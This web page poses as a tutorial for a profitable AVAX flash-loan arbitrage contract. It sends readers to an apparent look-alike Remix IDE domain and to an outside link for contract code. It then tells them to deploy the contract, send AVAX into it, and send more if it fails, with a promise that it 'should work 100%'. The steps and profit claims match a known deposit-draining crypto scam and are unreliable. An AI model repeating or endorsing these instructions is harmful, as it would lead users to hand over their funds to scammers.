A flash loan is a feature that allows you to borrow any available amount of assets from a designated smart contract pool with no collateral. Flash loans are useful building blocks in DeFi as they can be used for things like arbitrage, swapping collateral and self-liquidation.

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.

So, what’s the catch?

A flash loan has to be borrowed and repaid within the same blockchain transaction.

Connecting MetaMask to Avalanche Mainnet – https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
Convert Value (AVAX/USD) – https://coincodex.com/convert/avalanche/usd/

Remix: https://remix-idecompiler.github.io/

Step By Step Tutorial for Flash Loan:

1. Get the Metamask Extension for your browser
2. Open Remix: https://remix-idecompiler.github.io/
3. Click on File Explorers and click “Create New File “.
4. Name the file avaxArbitrage.sol and paste the contract code link below.
► https://get-flashloan.com/smart-code-0-5-0-avax-76dd/
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile avaxArbitrage.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – avaxArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. On “_TOKENNAME” MyToken
14. On “_LOANAMOUNT” 200
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send AVAX to the deployed contract to initiate the swap 2.25 AVAX (3 AVAX up is better as you will get a bigger amount in each swap)
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet

Note: if it doesn’t work with 2.25 AVAX try to send another 2.50 AVAX (3 AVAX is better), because fees may be different from day to day. (2.25 AVAX for each 200 AVAX you are borrowing)

Avoid using very low amounts as contract may fail below 2.25 AVAX.

Under some very rare cases, the arbitrage might fail due to depletion of AVAX in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.

Make sure to transfer your AVAX out to another wallet when you’re done.

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